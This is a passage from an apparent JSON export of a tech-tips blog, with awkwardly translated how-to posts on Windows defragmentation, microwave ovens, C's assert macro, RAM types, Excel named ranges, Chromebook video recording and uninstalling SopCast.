TRIM commands to optimize performance.\nFor mechanical hard drives, you can check and fix fragmentation by following the steps below:\n1. Open the Disk Optimization tool by entering the optimize keyword or defrag to the Search box in the Taskbar.\n  2. On the Optimize Drives interface, select your hard drive then click Analyze . If you have an SSD, the option will be gray and unavailable.\n  3. Check% of fragmented files.\n  4. If you want to defragment your drive, click Optimize .\n  After Windows finishes the process, on Optimize Drives utility interface you will see% of fragmented files are 0%. However, you should note that this method is applicable to normal HDD, but with SSD hard drive, there is almost no need to defragment!\nRefer to some of the following articles: Why does Linux need no defragmentation? Fix Windows 10 error with just one click with FixWin Unlock and improve Windows 10 features with 5 Registry tricks 5 ways to overcome the situation of slow computer Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kxKmxzWaYp5xdnby4edOoZJ2dlqeuqLnEp6tmoJGnsW6w0aKtnqtdpLtuw8inm6ivo2J%2BcQ%3D%3D\n","link":"/post/when-and-how-to-defragment-hard-drives-on-windows-10/","section":"post","tags":null,"title":"When and how to defragment hard drives on Windows 10?"},{"body":"The following article will suggest you 5 best-selling, best-selling microwave oven models in the market for everyone to consult.\nTop 5 best-selling baked microwave ovens today 1. Sharp R-G272VN-S grilled electronic microwave oven 20 liters - Reference price: 1,659,000 VND Sharp R-G272VN-S microwave ovens can be defrosted over time or by weight. With the grill function you can prepare more delicious dishes for your family.\n  Microwave power is 800W and grill capacity is 1,000W. Timer mode with maximum appointment time up to 99 minutes helps cooking more proactively, not having to watch the oven, limiting burning food.\nSpecifications:\nMicrowave type: Electronic microwave oven Microwave type: Grilled Function: Defrost, reheat, cook, bake Capacity: 20 liters Grill capacity: 1,000W, microwave power: 800W Timer: Yes Control panel: Electronic push button Lights: Yes Child lock: Yes Display: Yes Number of automatic recipes: 6 Compartment size: 26.8cm x 29.5cm x 17cm Product weight: 11.4kg Brand: Japan Made in China Warranty 12 months 2. Sharp R-G574VN-S 25 liter electronic microwave oven - Reference price: 2,390,000 VND Sharp R-G574VN-S microwave oven has a capacity of 25 liters suitable for home use. The oven has 11 power levels that make it easy for users to adjust the temperature to match the type of food. Microwave capacity is 900W, grill capacity is 1,000W for extremely fast cooking, baking, reheating, defrosting.\n  Specifications:\nMicrowave type: Electronic microwave oven Microwave type: Grilled Function: 11 functions Capacity: 25 liters Grill bar type: Quartz Baking capacity: 900W, grill capacity: 1,000W Rotary disc diameter: 315mm Compartment size: 37cm x 33cm x 20.7cm Product weight: 15.1kg Brand: Japan Made in China Warranty 12 months 3. Sharp R-G222VN-S baked microwave oven 20 liters - Reference price: 1,549,000 VND Sharp R-G222VN-S has a capacity of 20 liters, controlling the mechanical knob to ensure durability and ease of use. Oven with grill has a cooking timer of up to 35 minutes. 800W microwave power helps you heat food faster.\nSharp microwave oven has 5 different capacity levels, has defrost function according to utility weight.\n  Specifications:\nMicrowave type: Mechanical microwave oven Microwave type: Grilled Capacity: 20 liters Grill capacity: 800W, grill capacity: 1,000W Timer: Yes Control panel: Knob Material: Metal Number of power levels: 5 Product weight: 11.4kg Brand: Japan Made in China Warranty 12 months 4. Sharp R-G302VN-S grilled mechanical microwave oven 23 liters - Reference price: 1,689,000 VND Sharp R-G302VN-S designed enamelled steel cavity with multi-function: heating, cooking, defrosting, baking. Sharp R-G302VN-S designed stainless steel oven cover, timer up to 35 minutes.\n  The oven is also equipped with child lock to help ensure safety when families have young children. Capacity of 23 liter oven, grill capacity of 1,000W, microwave capacity of 800W helps to cook food or reheat, defrosting does not take much time.\nSpecifications:\nMicrowave type: Mechanical microwave oven Microwave type: Grilled Function: Warm, grill, defrost Capacity: 23 liters Capacity: 800W - 1,000W Timer: 35 minutes Lights: Yes Child lock: Yes Shell material: Stainless steel Oven compartment size: 30.5cm x 30.5cm x 20cm Product weight: 14kg Brand: Japan Made in China Warranty 12 months 5. Sharp R-G226VN-S mechanical microwave oven with 20 liters - Reference price: 1,550,000 VND Sharp R-G226VN-S comes with a rotating disc with a diameter of 255mm and a microwave power of 800W. Enameled cavity anti-rust, easy to clean.\n  Sharp R-G226VN-S grilled mechanical microwave oven can adjust the capacity at 5 levels, when using, it is easy to observe the inside light. Open the oven door by pressing the button easily. Mechanical controls with Vietnamese are easy to use.\nSpecifications:\nMicrowave type: Mechanical microwave oven Microwave type: Grilled Capacity: 20 liters Grill capacity: 1,000W Microwave power: 800W Timer: 35 minutes Lights: Yes Number of power levels: 5 Disc diameter: 255mm Size: 440mm x 259mm x 334mm Brand: Japan Made in China Warranty 12 months Hopefully, the above article will help you choose the best, most suitable microwave oven for your family.\nncG1vNJzZmismaXArq3KnmWcp51kxKm1wqFkpqGTp7y4rdWeZKiulaN6qa3SZquhnV2XsrTAjKyYpqicmg%3D%3D\n","link":"/post/which-microwave-oven-has-the-best-sample/","section":"post","tags":null,"title":"Which microwave oven has the best sample?"},{"body":"The file header named assert.h from Library C provides a macro called assert that can be used to test an assumption made by the program and print a diagnostic message to find the error if this assumption is false .\nThe macro is predefined assert this reference to another macro is NDEBUG which is not part of. If NDEBUG is defined as a macro name in the source file, where it is included, assert is defined as follows:\n#define assert ( ignore ) (( void ) 0 )  The macros are defined in assert.h In assert.h only define the following macro:\nvoid assert (int expression): This is really a macro and not a function. This macro is used to add diagnostics to find errors in the C program.\nAssert macro () in C The assert () function in C Macro void assert (int bieu-thuc) in Standard C Library allows detection diagnostic information to be written to standard error file (Standard Error File). In other words, it can be used to add diagnostic messages to find errors in C programming.\nDeclare assert () function in C Below is the declaration for the assert () Macro in the standard C Library.\nvoid assert ( int bieu - thuc );  Parameters\nbieu-thuc: This can be a variable or any C expression. If the command evaluates to TRUE, then assert () does nothing. If the method evaluates to false, then assert () displays an error message on stderr and stops executing the program.\nReturn value\nThis macro does not return any values.\nFor example\nThe following C program illustrates the use of assert () macros in Library C:\n#include #include int main () { int a ; char str [ 50 ]; printf ( \"Nhap mot gia tri nguyen: n\" ); scanf ( \"%d\" , \u0026amp; a ); assert ( a \u0026gt;= 10 ); printf ( \"Gia tri nguyen vua nhap la %dn\" , a ); printf ( \"Nhap mot chuoi: \" ); scanf ( \"%s\" , \u0026amp; str ); assert ( str != NULL ); printf ( \"Chuoi vua nhap la: %sn\" , str ); return ( 0 ); }  Compile and run the above program to see the results:\nAccording to Tutorialspoint\nPrevious post: Command line parameter in C\nNext story: ctype.h in C\nncG1vNJzZmismaXArq3KnmWcp51krrS%2FxKuroWWZo3qk\n","link":"/post/assert-h-in-c/","section":"post","tags":null,"title":"assert.h in C"},{"body":"In recent versions, Firefox and Chrome have integrated PDF reading right in your browser, which helps you quickly open PDF files without installing a third-party PDF reader. But for large PDF files, reading files directly in the browser of Firefox and Chrome is quite sluggish, which more or less affects the work you are doing. The following article will guide you to disable the PDF file reading feature of the above two browsers.\n1- Disable the self-reading PDF file in Firefox Step 1 : Open Firefox browser, go to about: config and click on the line I will be careful. I promise!\n  Step 2 : In the Search box (R), you enter the keyword pdfjs.disabled .\n  Step 3 : You double click on pdfjs.disabled option to change from Value false to true . Or right-click on the option and select On-Off .\n  So you've successfully disabled the self-reading feature on Firefox.\n2- Disable the self-reading PDF file in Chrome Step 1 : Open Chrome browser and access the Chrome address : // plugins /\n  Step 2 : Find the Chrome PDF Viewer and click Disable\n  So you've also disabled the self-reading PDF file on Chrome.\nHow to save web page in Chrome as a PDF file? Create digital signatures in PDF files using Foxit Reader How to stamp copyright PDF files Hope the article will be useful to you!\nncG1vNJzZmismaXArq3KnmWcp51ksaq%2FwJujnmWjmrmnvsSam6Kml2K9pbKMn6ClnaNitq95xaKpnp6frXqiusNmmqGqn6Ky\n","link":"/post/disable-self-reading-pdf-files-in-firefox-and-chrome/","section":"post","tags":null,"title":"Disable self-reading PDF files in Firefox and Chrome"},{"body":"RAM is no longer a strange concept for computer users. If you follow the articles on TipsMake.com, you certainly have read the article about the frequency of RAM laptop and what you need to know. Today, we also talk about RAM but not the basic concept, but about the most common RAM technologies: DRAM, SRAM, SDRAM as well as newer RAM technologies.\n2 ways to check RAM and check RAM errors on the computer with the highest accuracy rate RAM \u0026amp; ROM: two concepts are easily confused What is DRAM? DRAM stands for Dynamic random-access memory, a type of memory that is widely used on computer systems such as main memory. In terms of capacity, it can achieve 8GB for each chip in modern IC.\nPhysically, DRAM stores each bit of data in a separate capacitor inside the integrated circuit. Capacitors can be charged or discharged, these two states represent two states of a bit (commonly referred to as 0 and 1). DRAM is called dynamic because it needs to be refreshed or charged after a few milliseconds to compensate for the electrolytic leakage from the capacitor. Because the capacitor is leaking electricity, if it is not refreshed or recharged regularly, the data bits stored on the DRAM will disappear.\nTraditional RAM on computers is DRAM. Newer computers use DDR (Dual Data Rate) DRAM to improve performance.\n  A DDR3 DRAM bar\nWhat is SRAM? SRAM stands for Static random-access memory. SRAM stores data bits in memory as long as the power supply is fully supplied. Unlike DRAM, storing data bits in batteries containing capacitors and transistors, SRAM does not need to be refreshed periodically.\nSRAM contains only transistors and inverters, data is fed into SRAM with the help of bitline and forwarded by wordline. Inverter is used to generate feedback, used as input for transistors, so SRAM does not need to refresh thousands of times in a cycle like DRAM. But in a memory bit with 6 SRAM transistors, it is quite bulky and requires more space than DRAM (1 memory bit has only 1 transistor of DRAM). SRAM needs more power than DRAM because it needs to operate 6 transistors (instead of one like DRAM).\nSRAM is faster and more expensive than DRAM, it is often used inside the CPU [What is CPU?]. Due to the high speed, SRAM is also used as cache and main memory in servers to get the best performance.\n  A static RAM chip from a copy of Nintendo Entertainment System (2K x 8 bits). Photo source: Wikipedia\nWhat is SDRAM? SDRAM stands for Synchronous dynamic random access memory. SDRAM is DRAM synchronized with the system bus. This is the common name for the different types of DRAM synchronized with the optimal clock speed of the processor. SDRAM can run at a higher clock rate than regular memory. It is synchronized with the CPU bus and is capable of running at 133MHz, about 3 times faster than conventional FPM RAM, about 2 times faster than DRAM EDO and DRAM BEDO. SDRAM is gradually replacing DRAM EDO in many new computers.\n  Eight SDRAM ICs on one PC100 DIMM package. Photo source: Wikipedia\nWhat is MRAM? MRAM stands for Magnetoresistive Random Access Memory, which is a type of memory that does not self-erase, stores data based on the principle of effect from giant resistors ( or more precisely the effect from tunneling resistance. MRAM stores information in nano magnets. The read delay can be as fast as anything in the CPU, the recording delay is one nanosecond (1 billionth of a second). This memory is quite complicated and has a detailed article on Wikipedia, you are interested in reading more.\nMRAM uses less energy than other RAM technologies, so it is ideal for on-chip memory. It also has larger storage capacity, faster access time than regular RAM. MRAM retains the content until the computer is disconnected.\nMRAM is currently on the market with small capacity, large capacity, which is quite difficult to achieve.\nThings to know when choosing to buy mainboard\nWhat is ReRAM? ReRAM stands for Resistive Random Access Memory, a modern alternative to flash technology with the same structure and characteristics as MRAM.\nReRAM has two advantages over MRAM. ReRAM has higher resistance, allowing thicker memory structure, called overflow. This leads to less cell (cell) area. ReRAM can also store more levels for each cell, allowing more bits to be stored. This means that a single ReRAM array can increase capacity without taking up additional space. ReRAM with 7 bits for each cell has been proven to be achievable.\nReRAM has two drawbacks: it requires relatively high voltage to write and poor durability. High voltages contribute to energy consumption and make integration with CMOS processes more difficult. ReRAM's durability issue makes it impossible to use cache memory.\nOverall, ReRAM has achieved read, write rates at nanoseconds, has much potential for disks, and DRAM technology.\nWhat is PCM? PCM stands for Phase change memory, memory changes phase, has many characteristics similar to ReRAM but the physical mechanism is completely different. As a result, it has a low durability of about 10 ^ 8. However, system designers have created clever tricks to make PCM possible to replace some DRAM applications. PCM has also been built and parts compatible with DIMMs are available.\n14 secrets of a laptop buyer\nWhat is FRAM? FRAM stands for Ferroelectric random access memory, which works in the same way as DRAM. The main difference is that the material in the capacitor is the magnet and therefore, it stores information by changing the capacitance value. Imagine the capacitor as an electrical container, the process of changing this capacitance value is like changing the size of the bin to store information. FRAM has very high durability, more than 10 ^ 15. There are some problems with FRAM, it has similar performance as DRAM but is not dynamic so this is the only advantage. Theoretically, FRAM is better than DRAM but it has not been invested properly.\n  Ramtron's FRAM. Photo source: Wikipedia\nConclude There are 3 application layers for memory, depending on the class that require different speed or power consumption: long-term storage, main memory and on-chip cache.\nSRAM and DRAM are classic, variable and expandable memory technologies. Newer memory technologies show faster performance and add non-volatility, saving power leakage.\nAmong these technologies, MRAM and FRAM have good durability enough to use on chips. MRAM has satisfactory latency for chip circuits. ReRAM and PCM are able to replace DRAM technology and easily pass flash and disk for long-term storage.\nPlease read more:\nInstructions on how to upgrade RAM on computers and Laptops Instructions on how to create a RAM drive on Windows This is a list of all CPU sockets What is Intel's new Core i9 CPU line? Notes when buying a computer hard drive ncG1vNJzZmismaXArq3KnmWcp51kuaat0adkmpqfqsFuvsCmZK2dk527sLjOoKCeq12Zv6K5jKypmqVdqLGzrcxmmKecXaOyuLHR\n","link":"/post/dram-sram-sdram-and-newer/","section":"post","tags":null,"title":"DRAM, SRAM, SDRAM and newer"},{"body":"Aurora HDR 2018 is a professional HDR photo editing software with more than 20 tools and 100 editing utilities. This software also incorporates advanced algorithms to help process images at the best level. Aurora HDR 2018 received positive reviews from the world photographers association and was awarded many great awards such as Digital Photo Editor Choice, Camera Gold Award, Best On Test from NPhoto .\nAurora HDR 2018 is developed in a standalone mode, still supports the Plugin format for other photo editing software such as Adobe Photoshop, Photoshop Elements . This software supports RAW, JPG, TIFF formats and many popular files other.\n  Currently, Skylum Tream is offering a free lifetime license of $ 99 professional photo editing tool, Aurora HDR 2018. If you need to use it, please follow the instructions below. to get free lifetime license of this professional photo editing tool before the promotion ends.\nGuide to receive copyright Aurora HDR 2018 for PC Win / Mac\nStep 1: Visit the link below -\u0026gt; Enter the name, email address as required -\u0026gt; click Submit to receive the installation package with the copyright activation code.\nhttps://skylum.com/it/l/ap-aurora    Step 2: Open the email entered in step 1, you will receive an email from Skylum Team with the installation package for Mac OS / Windows and the software activation code.\n  Step 3: Install Aurora HDR 2018 and enter the key to activate the copyright.\n  ncG1vNJzZmismaXArq3KnmWcp51ktKbAjJqsq6eilnqpsNFmaWlpaGK9s7vFnqqsoZ%2Bjrq15x52pZqiYpMGwecSdoK2hnpx6tLvFra6aqpVis7C%2BjLCgp5yfrMBurc2dZKaZk2K8tHnRqLCapKSueqe%2BxJ5kn6eiYrmqssQ%3D\n","link":"/post/get-aurora-hdr-2018-professional-hdr-photo-editing-software-for-windows-and-mac-os-royalty-free-for-life/","section":"post","tags":null,"title":"Get Aurora HDR 2018, professional HDR photo editing software for Windows and Mac OS, royalty free for life"},{"body":" This wikiHow teaches you how to activate products. Creative Cloud products can be activated within the individual app, or through the Creative Cloud desktop app. Creative Suite users need to enter an activation key, or by signing in with...\nMethod 1of 4:\nUsing Creative Cloud Apps  Make sure your computer is connected to the internet. Adobe products are activated online. In order to activate an Adobe product, you need an internet connection and an Adobe ID.\n  Click to launch a Creative Cloud App. Adobe apps have color coded icons for each app with two letters inside a square. Click the app to launch the app. On Windows, apps can be found in the Windows Start menu. On Mac, open the Finder, click Applications in the sidebar to the left, and click the app. Click here to download an Adobe Product. Click Download Trial below a product. There is a 7-day free trial before you are required to purchase a product.   Check your Adobe ID and click Sign in. The Sign In button is the blue button in the lower-right corner. Check to make sure that the Adobe ID displayed in bold is the correct. Click the \"Sign In\" button. If there is a valid subscription for the application attached to your Adobe account, the product will be automatically activated. If you do not have a subscription to the Adobe product, click new subscription within the message text. This opens a website in your default web browser that allows you to purchase a subscription plan. If the Adobe ID is not correct, click (Not your Adobe ID?), below the text in the box and sign in with a different Adobe ID.   Click License this product. It's in the lower-right corner of the Adobe launch window. You need an Adobe ID with a valid subscription to the product in order to activate it. If you do not have an Adobe ID, click the yellow button that says \"Join Now\" to sign up for an Adobe account. If you still have access to a free trial, click Continue Trial to continue to use the product with your trial.  Method 3of 4:\nUsing Creative Suite 6  Make sure your computer is connected to the internet. Adobe products are activated online. In order to activate an Adobe product, you need an internet connection and an Adobe ID.\n  Click to launch an Adobe CS 6 app. Adobe apps have color coded icons for each app with two letters inside a square. Click the app to launch the app. On Windows, apps can be found in the Windows Start menu. On Mac, open the Finder, click Applications in the sidebar to the left, and click the app.\n  Click Sign In Now. It's the blue button in the lower-right corner of the Adobe launch window.\n  Sign in with your Adobe ID. Use the email address and password associated with your Adobe ID to sign in. The product is activated automatically when you sign in with your Adobe ID. If you do not have an Adobe ID, click Create an Adobe ID to sign up for an Adobe account.[2]   Marvin Fry Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmTqba3rdOeZJqcn5eybrzRqJuum6So\n","link":"/post/how-to-activate-adobe-products/","section":"post","tags":null,"title":"How to Activate Adobe Products"},{"body":"In addition to Microsoft Office office tools, now users also tend to use a number of online office tools, quickly respond to user needs and can access anywhere. Among them must be the suite of online office tools from Google. These tools provide the most basic content editing features, from importing text content, tabular presentations, presentation slides, or creating charts on Google Sheets.\nThe ability to create charts and graphs on Google Sheets is similar to when we do on Excel. Users will have many other options to edit the graph to represent the data to represent. The following article will guide you to read the basic steps to create charts on Google Sheets.\nWe will take the example with the data table below to create a chart.\n  Step 1: First of all, you need to black out the entire contents of the data table you want to display with a chart. Then, click the Insert tab on the toolbar, then select Chart .\n  Step 2: After that, we will see the previous display graph that Google Sheets represents for you.\n  At the right side of the screen, a setting frame will appear with options to change the graph. First of all in the Data section, the Chart type section can change the type of graph representation.\n  You can scroll down to select the type of Googole Sheets chart provided. For example, change to the column chart type as shown below.\n  Step 3: Switch to Customize . This column will change the font in the table, font color, title of the chart, .\nWe can change the style for the chart in Chart style, such as using a 3D chart. Click on the 3D option and we will be charted as shown below.\n  Step 4: To change the color of the chart, you can select the background color for the chart in the Background color section.\n  Or users can change the font for the entire content of the title in the chart in the Font section .\n  Step 5: Next, users can choose to change the format for the titles in the graph. Google Sheets provides format settings for headlines for you to choose and change.\nWe can change the font, font size, format or color for each title in the chart in the Customize section . You drag down the Chart \u0026amp; axis section titles to perform.\n  You can change the content for each title, font format, can change the font size, color for each title that appears in the Google Sheets chart if desired.\n  The changes will be applied immediately when we proceed to change any details. The chart will automatically be saved to the content and made into a file, like when you create a data sheet on Google Sheets.\nSo, with the above steps, you can create charts and graphs in content on Google Sheets. Graph representation is a basic operation not only on Google Sheets, but also on Excel or on Word. The chart will make the document content more vivid, summarize some statistics. Users can use the settings to create a complete chart on Google Sheets.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYygqZqomKh6pLTAq6usZZmjeqi7zqCjnmWjnbKmwNI%3D\n","link":"/post/how-to-create-graphs-charts-in-google-sheets/","section":"post","tags":null,"title":"How to create graphs, charts in Google Sheets"},{"body":"Bixby is the virtual assistant on the Galaxy S8 and S8 Plus duo that possesses many smart features, supporting users. Besides, when you press the physical button Bixby will appear Hello Bixby screen. This screen will appear on the left side of the main screen control panel, displaying information to the user. However, the Hello Bixby screen is probably not really useful for users, or you don't want to use this screen on the device. If you want to customize the Hello Bixby screen or disable this screen, you can refer to the article below\nSome settings need to be changed after purchasing Samsung Galaxy S8 How to take screenshots of Samsung Galaxy S8 and S8 + How to get a curved border display on Android phones like Samsung Galaxy S8 1. Customize Hello Bixby screen: Step 1: First of all, we swipe to the left of the screen and quickly launch the Hello Bixby interface, by pressing Bixby under the volume up and down keys.\n  Step 2: In the top right corner of the screen, we click on the 3 dots icon and select Settings .\n   Step 3: Appears the Bixby Installation interface, here you click continue to the Card section to open applications that display information via Bixby virtual assistant.\n  Step 4: After that, the user will see a list of applications that display information on the Hello Bixby screen in the Display of tags section . Here, if you don't want any app's information to appear on Bixby, swipe the slider to the left .\n   2. Turn off the screen Hello Bibxy: Step 1: First of all, users will press and hold the main screen to open the option to edit the screens on the device. Next, swipe left to get to the miniature interface of Hello Bixby.\n  Step 2: In the Hello Bixby interface, the top will have a slider so we can turn this screen off. To turn off the Hello Bixby screen, switch the slider to the left . Thus, the Hello Bixby screen will not appear on the home page of the device.\n   With the customizable Bixby smart assistant, we can choose to turn off or turn on the Hello Bixby screen on the Galaxy S8 and S8 Plus according to user needs. Besides, you can also choose which application information is installed on the device to export at the Hello Bixby screen.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyZqK6juMRmn56knKR6o7XXm7Bmp55iwKK50q6loGWXlrmixNhmqnE%3D\n","link":"/post/how-to-disable-hello-bixby-on-samsung-galaxy-s8/","section":"post","tags":null,"title":"How to disable Hello Bixby on Samsung Galaxy S8"},{"body":"Sometimes, instead of opening the JPG file, your Windows 10 computer displays the error message 'This app didn't start'. Opening a JPG file is a simple task for a computer and can be done whenever you want.\nHowever, an outdated version of Windows, corrupted file systems, or third-party application conflicts may prevent you from opening JPG files. Regardless of the cause, our following guide will help you fix this problem.\n1. Copy the JPG file and rename it Sometimes, you cannot open JPG files because the file extension is wrong. Therefore, renaming the file should fix the problem.\nRename it and make sure to add the .jpg extension. Windows will display a message saying the file may be unusable, so make sure you copy the original file to another location before editing the filename.\nBetter try this method with one image to make sure it works before renaming multiple files in bulk.\n2. Change file size If you own a camera or smartphone capable of taking high-quality photos, you might enjoy taking some really sharp and clear photos. The only disadvantage is that Windows 10 may not be able to open these large files with its default application. To fix it, you can use an image editor or a web application to reduce the size of the JPG file.\n3. Update the Microsoft Photos app On Windows computers, Microsoft Photos is the default application for opening JPG files. If the application is outdated or broken, it will lead to any kind of problem and the inability to open JPG files can be one of them. Updating Windows Photos should fix any bugs, problems, or technical glitches.\nOpen the Microsoft Store app, click the 3-dot menu, select Downloads and updates. Then check to see if the Photos app is listed under Available Updates.\n  4. Change default photo viewer app If you have a third-party image viewer installed on your computer, it may conflict with the default application and prevent you from opening JPG files. To fix it, you should change the default image viewer.\nStep 1: Right-click on Start and select Settings.\nStep 2: Go to Apps \u0026gt; Default apps.\nStep 3: Click the photo viewer under Default apps and select Photos from the list.\n  5. Microsoft Photos App Repair Microsoft Photos may have stopped working properly due to missing or damaged files. In this case, you should repair the application. This has the advantage that Windows will check Microsoft Photos files and Registry entries while fixing errors, but will keep the application's current settings.\nFollow these steps to repair Microsoft Photos:\nStep 1: Press Win + I to display the Settings menu.\nStep 2: Go to Apps \u0026gt; Apps \u0026amp; features.\nStep 3: Select the image viewing application and click Advanced options.\nStep 4: Scroll down and click Repair.\n  If this doesn't fix the problem, you can also reset the app. Follow the instructions above and select Reset. This will delete the application's data from the computer. If you choose to reset the app, you'll have to re-integrate OneDrive to sync your photos.\n6. Run an SFC . scan Corrupt files and system settings can prevent the computer from opening JPG files. Fortunately, Windows has a built-in tool that you can use to fix the problem right away. SFC (or System File Checker) will find and automatically replace any corrupted files on your computer.\nTo use this tool, launch Command Prompt with admin rights. Then type sfc /scannow and press Enter. How long the scan takes depends on system resources, but once it's done, the scan will display a message letting you know of any problems detected.\nRestart the computer and check if the problem is resolved.\n7. Open JPG files with another application If you've updated and repaired the app, changed the file size, and still can't open JPG files with the default Windows 10 app, try using a different image viewer. There are many options available and it is likely that you already have one of them installed on your computer. Refer: Summary of the best photo viewing software on PC for more details.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqrvMZmnaKklWKworrNqKtmmpVivLGxzZ6bZp2ip7yzecinZLChnpm8uL%2BMamc%3D\n","link":"/post/how-to-fix-jpg-file-cannot-be-opened-error-in-windows-10/","section":"post","tags":null,"title":"How to Fix JPG file cannot be opened error in Windows 10"},{"body":"If you have ever used or are using Apple operating system platforms such as iOS, macOS, you are probably no stranger to the feature of displaying notifications in the form of red dots that appear in the corner of the icons of applications. on the main screen. In these red dots will be numbered, corresponding to the number of notifications inside the application that you have not read.\nThis red dot often appears on applications like Mail, Facebook, Messenger… Indicates that you have unread messages or emails. This is quite useful, helping you not to miss notifications on the app. However, when the number of unread emails, messages or notifications reaches a few hundred or even a few thousand, the usefulness can turn into annoyance. This article will show you how to quickly hide the red notification badges on your Mac.\nFirst, you click the Apple icon in the top left corner of your Mac screen and select 'System Preferences'.\n  In the System Preferences window that opens, click 'Notifications'. This item has a bell icon with a red dot in the upper right corner.\n  In the Notifications settings interface, you'll see a list of a bunch of installed apps in the left pane. Select any app that is showing the notification badge and uncheck the 'Badge App Icon' option, as shown in the illustration below.\n  You can repeat this process for all other apps that are showing you red notification badges that annoy you. Note that this will only remove the annoying red icon on the app logo, while still allowing apps to send you notifications.\nThat's all, have a good experience with macOS!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqCZmbJuus6toJ%2Bhk5bBqrvNZqCcp56oeqe70Wagp5yZq7alwcClZJqooKh6sLqMppic\n","link":"/post/how-to-hide-notification-icons-for-individual-apps-on-mac/","section":"post","tags":null,"title":"How to hide notification icons for individual apps on Mac"},{"body":"When you work with an Excel data sheet with multiple columns of information, the Define Name feature helps us name that column of information. This feature will help you name a cell, a data area or an array of data in an Excel table. When executing a formula, users can use the names of cells and direct ranges. If we move the named range, Excel will automatically update the formula with the named data area.\nSo the calculation of data on Excek will be faster and more accurate, the formula is shorter and easier to understand. The following article will guide you how to name the data area in Excel.\nGuide to full Excel 2016 (Part 7): Format spreadsheet data How to create duplicate data entry notifications on Excel Instructions for searching and replacing in Excel tables 1. Instructions for naming a range of cells in Excel Step 1:\nIn the data table you are working click on the column you want to name and then select the Formulas tab in the toolbar, then select the Define Name as shown below.\n  Step 2:\nIn the new dialog box that appears then there will be items to select content.\nName: Enter the name of the entry range. Name should be written immediately or with an underscore. Scope: Range of ranges. Select Workbook if you want to apply to this Excel file or you can choose to apply it separately to 1 Sheet. Click OK to set up.\n  Then the set names will be in the Use in Formula section in the Formulas tab.\n  2. Name the ranges from an Excel data area This way we will name multiple columns or multiple rows at once.\nStep 1:\nWe select the cells we want to name for the whole range including the title, the title of the title will be the name of the sequence. Click on the Formulas tab and click on Create from Selection .\n  Step 2:\nIn the new dialog box interface, users will have more options:\nTop row: Take the line above as the title. Left Column: Take the left column as the title. Bottom Row: Take the line below as the title. Right Column: Take the right column as the title.   When we check, we will also see the data area name has been successfully set.\n  3. View and delete names that have been placed on Excel To review the set names, click Use in Formula or Name Manager in the Formulas tab.\n  In case you want to delete, edit or create new content in the created range, click on Fromulas tab , select Name Manager . In the Name Manager interface box, click on the data set to create the name and the following options will appear.\nNew: Create a new name range. Edit: Edit the content of the name sequence. Delete: Delete the namespace.   When clicking on the Edit item, users can change the set range name, select the named data area. In Scope alone, we cannot replace the scope of the range.\n  When you name the cells or data areas on Excecl, it is easier to remember the corresponding cell addresses. The implementation of the formula through the naming sequence is also faster. But users should note that the name must be less than 155 characters and do not use spaces, no symbols, except dots and underscores.\nSee more:\nCreate Excel charts that automatically update data with these three simple steps 10 ways to recover corrupted Excel files MS Excel - Lesson 4: Working with lines, columns, sheets I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqaRorJurYycnKWkXaS%2FbrHXnJylZZSWwaJ5wKucmg%3D%3D\n","link":"/post/how-to-name-a-cell-or-excel-data-area/","section":"post","tags":null,"title":"How to name a cell or Excel data area"},{"body":"Previously, shooting videos on Chromebooks was not easy (not part of the default Google Camera app). However, you can now easily record and upload videos to YouTube or share with friends and family.\n20 tips for new Chromebook users should know 6 annoying Chromebooks you should fix today Instructions for setting up a new Chromebook How to record videos on a Chromebook To record videos on a Chromebook, you need to open the camera. In this tutorial we will use the original Chromebook camera application. You can use any camera app from Play Store to support other video recording if you want.\nFirst, open the Camera app on your Chromebook. You will see this application in the launcher menu, touch the search button on the keyboard and tap the camera or click All Apps then find the camera icon.\n  When the application opens, click the Video icon next to the capture button.\n  After switching the camera mode, click on the Record icon to start recording the video.\n  When the video ends, click the Stop Recording icon and your video will be saved on the computer.\n  Note: The photos you take will automatically be saved in the Files app on your Chromebook running Chrome OS version 69 or later.\nHow to locate recorded videos Once you're done, you'll need to find videos on Chromebooks to view, edit, and share them with all your friends. You can view the video directly from the Camera application or access the Files app.\nWatch videos from the Camera app After pressing the stop recording button, you will see a thumbnail of a recent video that appears in the bottom right corner. Click on this thumbnail to access the Gallery application.\n  In the Gallery application, you will see all the videos listed at the bottom of the window, click on a video and then click the Play button to view it in the application.\n  If you don't like the video, you can delete it by clicking on the trash can at the top of the window.\n  Confirm deleting the video and click Delete .\n  Watch video from Files application First, open the Files app on your Chromebook. You will find it in the launcher, touch the search button on the keyboard and search for Files or click All Apps and find its icon. This app can be pinned on shelf by default, so it's still here if you haven't deleted it.\n  You can find the default folder to save videos in My Files\u0026gt; Downloads on the left of the Files application.\n  From here, click on the video file, then select the options at the top of the window. Click Open to select the application to open the video, click on the shared icon to send to a friend or click on the trash to delete the video from Chromebook.\n  When you click Open , you can choose the list of applications that play videos on your Chromebook or change the default app if you don't like it.\n7 best video editors for Chromebook   I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVmLyzsIyvoJ2dn6h6sLqMmmScoKKkuqauzqii\n","link":"/post/how-to-record-videos-on-a-chromebook/","section":"post","tags":null,"title":"How to record videos on a Chromebook"},{"body":"A full or complete uninstallation of SopCast may depend upon many circumstances where SopCast client ( version, 3.5.0 ) need to be removed from your Windows machine. The following methods will ensure all residual files and registry...\nMethod 1of 4:\nBefore You Start...  To completely remove SopCast and its bundled software, Ask Toolbar, you may need to review the non-custom install of it.\n  === Solution One === \n  Click on Start \u0026gt; All Programs \u0026gt; SopCast \u0026gt; run the Uninstall application embedded in it as system administrator.\n  Select Yes on Windows UAC.\n  Click Yes on SopCast Uninstall information window.\n Click OK on Uninstall.\n  Method 2of 4:\nSolution Two  Click Start \u0026gt; Control Panel \u0026gt; Programs - Uninstall a program.\n  Launch SopCast 3.5.0 program listed; click Yes on that Uninstall window.\n  Save and close your personal webpage open; run Ask Toolbar item listed.\n  Click Next \u0026gt; button on Ask Toolbar 1.0.0.12 Uninstall; and follow the removal wizard steps.\n Method 3of 4:\nSolution Three  Run the uninst(.exe) application to automatically remove SopCast.\n  You may be able to manually delete 